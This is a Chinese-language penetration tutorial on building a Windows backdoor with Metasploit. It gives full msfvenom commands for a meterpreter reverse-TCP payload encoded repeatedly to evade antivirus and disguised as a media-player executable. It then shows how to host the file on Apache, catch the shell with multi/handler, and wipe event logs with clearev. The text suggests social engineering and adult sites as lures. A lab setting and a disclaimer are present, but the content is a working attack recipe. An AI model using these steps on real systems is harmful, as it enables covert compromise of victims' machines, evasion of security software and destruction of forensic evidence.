制作windows客户端恶意软件进行渗透

目录

工具

靶机

客户端渗透原理

制作Windows恶意软件获取shell

---

工具

Metasploit

靶机

windows 2008 r2

相信大多数网友都是下载的虚拟机，所以请设置成桥接模式，确保位于同一网段

注：以下内容仅供学习交流，请勿用于非法用途

客户端渗透原理

在我们无法突破对方的网络边界时，往往需要使用客户端渗透这种方式对目标发起攻击，比如我们向目标发一个含有后门的程序，或者是一个word文档，pdf文件。想要达到效果同时也要利用好社会工程学，来诱惑受害者执行恶意程序。

由于有杀毒软件，所以我们可以利用颜色网站或者免杀来躲避查杀。

免杀可以通过修改二进制特征字符或者进行加密。

制作Windows恶意软件获取shell

msfvenom是msfpayload,msfencode的结合体，可利用msfvenom生成木马程序，并在目标机上执行，在本地监听上线。

生成xx影音.exe后门程序

使用一个编码器

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/xx影音1.exe

使用两个编码器进一步加强免杀能力

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/xx影音2.exe

参数说明

-a 指定架构，如：x86和x64，x86代表32位，x64代表64位。

--platform 指定平台，这里选择windows，通过 --l platforms可以查看所有支持的平台

-p 设置攻击载荷

-b 去掉坏字符，坏字符会影响payload的正常执行

启动apache2

systemctl start apache2

然后后去目标浏览器下载

http://192.168.242.128/xx影音2.exe

会弹出一个下载界面，点击下载打开即可

回到kali启用msf监听

msf6 > use exploit.multi/handler

设置payload

msf6 > set payload windows/meterpreter/reverse_tcp

成功建立会话，进入后可利用getuid查看权限，利用help可查看命令

clearev命令

入侵痕迹擦除

在渗透利用过程中难免留下日志等信息痕迹，使用clearev命令擦除痕迹后再跑。

命令：clearev